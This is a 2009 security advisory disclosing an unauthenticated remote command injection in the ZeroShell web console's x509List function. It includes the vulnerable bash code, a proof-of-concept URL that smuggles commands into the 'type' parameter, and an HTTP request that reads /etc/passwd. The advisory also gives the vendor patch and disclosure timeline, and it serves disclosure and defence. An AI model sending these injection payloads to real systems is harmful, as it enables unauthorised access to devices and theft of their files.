ZeroShell <= 1.0beta11 Remote Code Execution


======================================================================== ZeroShell <= 1.0beta11 Remote Code Execution ======================================================================== Affected Software: ZeroShell <= 1.0beta11 Severity: High Local/Remote: Remote Author: Luca Carettoni - luca.carettoni[at]ikkisoft[dot]com Advisory URL: http://www.ikkisoft.com/stuff/LC-2009-01.txt [Summary] ZeroShell (http://www.zeroshell.net/eng/) is a small Linux distribution for servers and embedded devices. This Linux distro can be configured and managed with an easy to use web console. ZeroShell is prone to an arbitrary code execution vulnerability due to an improper input validation mechanism. An aggressor may abuse this weakness in order to compromise the entire system. Authentication is not required in order to exploit this flaw. [Vulnerability Details] The ZeroShell web console uses a CGI program and several bash scripts to provide all administrative functions. An improper input validation mechanism permits the injection of arbitrary system commands. An unauthenticated user may invoke a function to retrieve all x509 certificates present in the repository, using the following GET request: https://<IP>/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=user The parameter "type" is used to distinguish between users, CA and host certificates. Unfortunately, this parameter is passed to the following code without input validation at all: <-- cut here --> TYPE="$1" cd "$SSLDIR/certs" || exit 1 ls *_${TYPE}.pem |awk -F"_$TYPE.pem" -v"TYPE=$TYPE" '{ <-- cut here --> An aggressor may easily escape the hardcoded commands, adding arbitrary system commands. According to the default system configuration, these commands are executed as "apache" (low privileges user). [Proof of Concept Exploit] /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;<CMD HERE>;%22 In addition to the Unix commands, it is possible to abuse the ZeroShell scripts themself. For instance it is likely to use the "getkey" script in order to retrieve remote files, including the content in the html page. {HTTP REQUEST} GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22; /root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22 HTTP/1.1 Host: <IP> [Fix Information] The vendor has published a patch for the release 1.0beta11 only. http://www.zeroshell.net/eng/patch-details/#C100 The new release (1.0beta12) will be available soon. [Time Table] 08/01/2009 - Vendor notified. 08/01/2009 - Vendor response. 11/01/2009 - Vendor patch release. 09/02/2009 - Public disclosure. [Legal Notices] The information in the advisory is believed to be accurate at the time of publishing based on currently available information. This information is provided as-is, as a free service to the community. There are no warranties with regard to this information. The author does not accept any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. Permission is hereby granted for the redistribution of this alert, provided that the content is not altered in any way, except reformatting, and that due credit is given. This vulnerability has been disclosed in accordance with the RFP Full-Disclosure Policy v2.0, available at: http://www.wiretrip.net/rfp/policy.html